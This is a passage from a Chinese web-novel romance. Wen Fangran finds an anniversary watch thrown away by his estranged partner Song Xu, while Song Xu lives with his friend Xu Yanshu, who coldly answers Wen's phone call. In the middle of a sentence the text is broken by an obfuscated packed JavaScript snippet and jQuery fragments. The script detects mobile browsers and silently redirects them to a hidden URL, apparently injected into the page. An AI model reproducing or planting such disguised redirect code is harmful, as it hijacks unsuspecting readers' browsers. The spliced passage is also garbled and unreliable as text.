房间里安静，只有厨房有光传出，彰显着些微的存在感。
厨房里有人，但不是温方然在找的那个。听到动静的阿姨从厨房门口探头看过来，戴着手套的手上还捏着抹布，看到走进屋子的人后一愣，说：“先生回来啦？”
把帽子随手放在一边柜子上，温方然问：“余又呢？”
“余又没在，”阿姨说，“我上次来这打扫的时候他就已经没在了。”
阿姨经常来打扫，和宋叙关系好，平时也跟着一起叫余又。
温方然低头摘下眼镜，视线也跟着垂下，低声道：“不是说回来了吗。”
“余又要回来？”阿姨反倒被他的话吓了一跳，一拍手，道，“那完了，他之前和我说这屋子里这段时间都没人住，我以为他短时间不回来，那经常喝的咖啡见底了还没买。”
这些东西放久了不好，她原本还打算等人回来之前再去买，没想到俩人都突然回来，搞了个措手不及，屋子也没打扫完。
说到打扫屋子就想起了什么，她边摘手套边往厨房走，说：“先生等一下，我这有个东西想给你看看。”
去厨房洗了手再出来，她去客厅拿了个东西，用一个口袋装着，口袋打开后是一个长条方形的礼物盒一样的东西。
她把东西拿近了些，说：“这是我上次去打扫余又房间的时候在垃圾桶里发现的，好像是还是新的，想说可能是不小心掉进去的，所以留下来想给你们看看。”
垃圾桶的垃圾袋之前刚换过，是干净的，里面只有这一个盒子，拎起来挺有重量，打开后里面的东西还原原本本放着，各种认证书都还在，她不认识这些东西，但能看出应该很贵，没敢扔，所以留下来了，真要扔也得雇主确认之后再扔。
“垃圾桶？”
温方然接过白色盒子，手指从白色外壳摩挲过，感受到已因为受到撞击所以略微发皱的盒子边角，顿了下后才拆开缎带低头打开。
盒子里面是一块表。
银灰的颜色，线条简洁流畅，没有多余装饰，表盘边缘的金属圆环映着头顶灯光，折射出细碎的微光。
他不爱戴饰品，也不买，经纪人之前来这家里办事的时候说过，至少要有块参加一些场合时能够搭得上的表，当时宋叙也在。
注意到什么，他把表从盒子里拿出，略微一翻转，看到表带边缘的金属扣环上有什么痕迹。
是一个刻痕，扣环边缘刻着一个小小的字母“w”。刻得有些粗糙，但依稀能看出这大概是努力后的结果，歪得很有抽象感的模样和整块表显得格格不入。
这应该是周年礼物，送他的。
阿姨在一边看着他的表情，看了会儿后问：“这个要扔掉吗？”
温方然：“不扔，留着，谢谢你发现了。”
晚了两周收到礼物，高兴的同时有种微妙的感觉升起。
扔进垃圾桶的礼物，之前打来的分手电话里异常平静的语气，以及没有生活痕迹的家。
想到什么，他迅速把表重新放回盒子，嘴角绷直，边盖上盒子边快步走向客厅后的房间。
“啪——”
房间门打开，灯光亮起，护眼的亮黄光亮照亮空间。
这里已经打扫过，床铺整洁，书桌柜子上的书排列整齐。把盒子放在书桌桌面上，他在第一时间打开了衣帽间的拉门。
衣帽间里的衣服还在，没有带走，书桌柜子里的书和一些常用的东西也在。
这些东西都还在，对方还会回来。往旁边墙上一靠，他终于呼出口气，顺着墙壁坐下，坐在旁边椅子上。
坐在安静房间里，手指从头发间穿过，他闭眼后睁开，低头拿出手机，熟练拨出号码。
放在沙发边充电的手机屏幕亮起的时候，宋叙已经回到家，正在厨房看大厨做饭，燃气的声音和炒菜声混在一起，完全隔绝了外面的任何动静。
今天又是阿姨在放假的一天，他在这围观半天，最终起到一个帮忙把切好的菜递过的作用。
靠在后面的厨房中心的岛台上，完成了递菜重任，他拍拍手上的水，盯着炒菜的人看了会儿，之后一手支上大理石台面，突然出声说：“阿姨她们放假是不是有点放得太久了？”
满打满算他来这里已经住了不短的时间，工作都已经接了两个，阿姨们差不多放了将近半个月的假，在这种平平无奇又没发生任何事情需要去忙的时候。
一手拿着盘子，徐言述略微侧过眼：“怎么说。”
宋叙没什么意思，只是觉得再这么继续下去，这位大厨好像已经完全能够做到自食其力，没什么用得上阿姨的地方。
看着人把菜盛出，他略微站直身体往前走两步，说：“话说你是不是故意把阿姨支走的。”
他刚好过来，阿姨刚好放假，刚好家里打扫不了，怎么看都有点太巧了。
从背后接近，一手环过人脖子进行一个锁喉，他凑近问：“你是不是对我有什么见不得人的居心？”
脖颈处传来衣服布料的冰冷触感，依稀还能察觉到后面的人说话的时候带起的些微痒意。
徐言述准备拿盘子的手一顿，动作停下，瞳孔缓缓侧过，呼吸跟着放缓。
“果然是这样，你就是故意想把我留在这。”停下的动作应证了刚才的话，只有心虚的人才会这样，宋叙说，“认识这么多年了，你在想什么都瞒不了我。”
“老实交代，是不是为了从我这搞点房租钱？”他略微收紧了锁喉的手，接着说，“首先声明我一分钱也不会掏。”
他住这除了吃和睡外一点贡献没有，唯一能想到的留下的价值就只有收租这块。
“……”
紧绷的神经松下，徐言述说不清是松了口气还是叹了口气，呼出一口气后继续端起盘子，顺着话题转头问：“打个折只收一周的也不行？”
果然是这样。
要钱没有，要命一条。宋叙略微松开锁喉的手，闭眼挂人身上，只当自己是个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124093|164307||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
死人。
身上挂了个人，徐言述拖家带口端着菜去餐厅。
饭前准备完毕，他在吃饭的时候终于给出了阿姨回来的时间，说：“她们过两天回来，到时候再请过去帮你打扫。”
回家终于有望，宋叙边吃边应了声。
最近一直是徐大厨下厨，考虑到大厨的辛苦付出，他稍微比平时吃得更多了点，并叠加夸赞以示尊敬。
这招大厨很受用，看到吃完的菜的时候都会笑一下。
晚上还有改歌词的任务，宋叙饭后溜达了会儿就钻进房间洗澡。
徐言述也洗，只是洗得更快一些，洗完后换上睡衣出房间，去厨房准备明天早饭要用的材料的途中路过客厅，在昏暗里看到一点亮起的光。
幽蓝色，方形的一块，是手机的光，应该是宋余又放在这充电忘了拿走，一起响起的还有震动声。
临时变了个方向，他走向沙发，弯腰随手拿起手机，起身的时候顺带扫了眼屏幕。
是个电话。看清联系人名字的瞬间，他略微扬起的嘴角落下，眼尾也跟着低垂了几分。
在原地站了会儿，拿着手机去隔壁房间，他敲响带着水声的浴室门，说声有电话。
水声停下了，传来疑惑的一声：“嗯？”
声音隔着浴室门，听上去有些发闷，伴随着还有水滴落下的声音。
“有个电话，”徐言述说，“温方然打来的。”
“我手上是泡沫，等会儿出来，你帮我接一下吧，”里面的水声重新响起了，忙着的人说，“有事就说事，没事的话挂断就好。”
应了声，徐言述拿着手机走出房间，带上门的同时接通坚持不懈响了过久的电话。
“你好，我是徐言述。”
房间门带上，高大人影抬脚踏进昏暗走廊，原本温和的声音一下子就冷了下去。
对面的人大概是没想到好不容易打通的电话接通后却是他接的，差点说出的话止住了，安静片刻后问：“宋叙呢，他手机怎么会在你这？”
“他在忙。”
拿着手机经过客厅，徐言述抽出书架上的一本食谱摊餐厅桌上，边翻边说：“有事？”
十分之言简意赅，一个字也不多说。
他惜字如金，那边也单刀直入，语调降了下来，沉声道：“他现在在哪？我来接他回家，感谢你这段时间的照顾。”
“我不会再把他交给你了。”
听到话后翻食谱的手终于停下，徐言述手指轻叩了两下桌面，一双眼漆如点墨，彻底冷下，说：“他父母葬礼的时候我不阻止你带他走，是因为以为他和你在一起或许会更开心一点，被照顾得更好。”
有些事情朋友做不到，但恋人可以。最重要的是宋叙的身体健康，为了这个，他可以让步后退。
但这个人连对方的命都没能护得住，车祸当天的绯闻还在各大新闻上高高挂起。
这次他不会退步，也不会再把宋叙交给任何人。